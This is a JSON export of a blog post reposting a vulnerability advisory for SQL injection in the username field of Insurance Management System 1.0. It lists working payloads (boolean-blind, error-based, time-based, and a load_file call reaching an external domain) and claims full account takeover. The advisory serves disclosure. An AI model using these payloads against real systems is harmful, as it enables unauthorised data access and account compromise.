{"id":21731,"date":"2022-03-15T00:59:56","date_gmt":"2022-03-14T21:59:56","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166286\/insurancemgmtsys10-sql.txt"},"modified":"2022-03-15T14:27:06","modified_gmt":"2022-03-15T10:57:06","slug":"insurance-management-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/insurance-management-system-1-0-sql-injection\/","title":{"rendered":"Insurance Management System 1.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\">## Title: Insurance Management System v1.0 SQLi<br \/>\n## Author: nu11secur1ty<br \/>\n## Date: 03.12.2022<br \/>\n## Vendor: https:\/\/itsourcecode.com\/free-projects\/php-project\/php-projects-source-code-free-downloads\/<br \/>\n## Software: https:\/\/itsourcecode.com\/free-projects\/php-project\/insurance-management-system-project-in-php-free-download\/<br \/>\n## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/upload\/main\/vendors\/itsourcecode.com\/Insurance-Management-System<\/p>\n<p dir=\"ltr\">## Description:<br \/>\nThe username parameter appears to be vulnerable to SQL injection<br \/>\nattacks. The payload &#8216;+(select<br \/>\nload_file(&#8216;\\\\\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com\/free-projects\/php-project\/insurance-management-system-project-in-php-free-download\/\\\\xek&#8217;))+&#8217;<br \/>\nwas submitted in the username parameter.<br \/>\nThis payload injects a SQL sub-query that calls MySQL&#8217;s load_file<br \/>\nfunction with a UNC file path that references a URL on an external<br \/>\ndomain.<br \/>\nThe application interacted with that domain, indicating that the<br \/>\ninjected SQL query was executed.<br \/>\nThe attacker can take administrator account control and also of all<br \/>\naccounts on this system, also the malicious user can download all<br \/>\ninformation about this system.<\/p>\n<p dir=\"ltr\">Status: CRITICAL<\/p>\n<p dir=\"ltr\">[+] Payloads:<\/p>\n<p dir=\"ltr\">&#8220;`mysql<br \/>\n&#8212;<br \/>\nParameter: username (POST)<br \/>\nType: boolean-based blind<br \/>\nTitle: AND boolean-based blind &#8211; WHERE or HAVING clause (subquery &#8211; comment)<br \/>\nPayload: username=GvWNfNIz&#8217;+(select<br \/>\nload_file(&#8216;\\\\\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com\/free-projects\/php-project\/insurance-management-system-project-in-php-free-download\/\\\\xek&#8217;))+&#8221;<br \/>\nAND 7122=(SELECT (CASE WHEN (7122=7122) THEN 7122 ELSE (SELECT 6385<br \/>\nUNION SELECT 2068) END))&#8211; -&amp;password=y6E!b3n!T9<\/p>\n<p dir=\"ltr\">Type: error-based<br \/>\nTitle: MySQL &gt;= 5.0 AND error-based &#8211; WHERE, HAVING, ORDER BY or<br \/>\nGROUP BY clause (FLOOR)<br \/>\nPayload: username=GvWNfNIz&#8217;+(select<br \/>\nload_file(&#8216;\\\\\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com\/free-projects\/php-project\/insurance-management-system-project-in-php-free-download\/\\\\xek&#8217;))+&#8221;<br \/>\nAND (SELECT 3405 FROM(SELECT COUNT(*),CONCAT(0x7178767671,(SELECT<br \/>\n(ELT(3405=3405,1))),0x7178627871,FLOOR(RAND(0)*2))x FROM<br \/>\nINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&#8211; zJzm&amp;password=y6E!b3n!T9<\/p>\n<p dir=\"ltr\">Type: time-based blind<br \/>\nTitle: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>\nPayload: username=GvWNfNIz&#8217;+(select<br \/>\nload_file(&#8216;\\\\\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com\/free-projects\/php-project\/insurance-management-system-project-in-php-free-download\/\\\\xek&#8217;))+&#8221;<br \/>\nAND (SELECT 5739 FROM (SELECT(SLEEP(5)))crqV)&#8211;<br \/>\npBFE&amp;password=y6E!b3n!T9<br \/>\n&#8212;<\/p>\n<p dir=\"ltr\">&#8220;`<\/p>\n<p dir=\"ltr\">## Reproduce:<br \/>\n[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/upload\/main\/vendors\/itsourcecode.com\/Insurance-Management-System)<\/p>\n<p dir=\"ltr\">## Proof and Exploit:<br \/>\n[href](https:\/\/streamable.com\/iyml42)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Title: Insurance Management System v1.0 SQLi ## Author: nu11secur1ty ## Date: 03.12.2022 ## Vendor: https:\/\/itsourcecode.com\/free-projects\/php-project\/php-projects-source-code-free-downloads\/ ## Software: https:\/\/itsourcecode.com\/free-projects\/php-project\/insurance-management-system-project-in-php-free-download\/ ## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/upload\/main\/vendors\/itsourcecode.com\/Insurance-Management-System ## Description: The username parameter appears to be vulnerable to SQL injection attacks. The payload &#8216;+(select load_file(&#8216;\\\\\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com\/free-projects\/php-project\/insurance-management-system-project-in-php-free-download\/\\\\xek&#8217;))+&#8217; was submitted in the username parameter. This payload injects a SQL sub-query that calls MySQL&#8217;s load_file &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21731","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21731","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21731"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21731\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21731"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21731"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21731"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}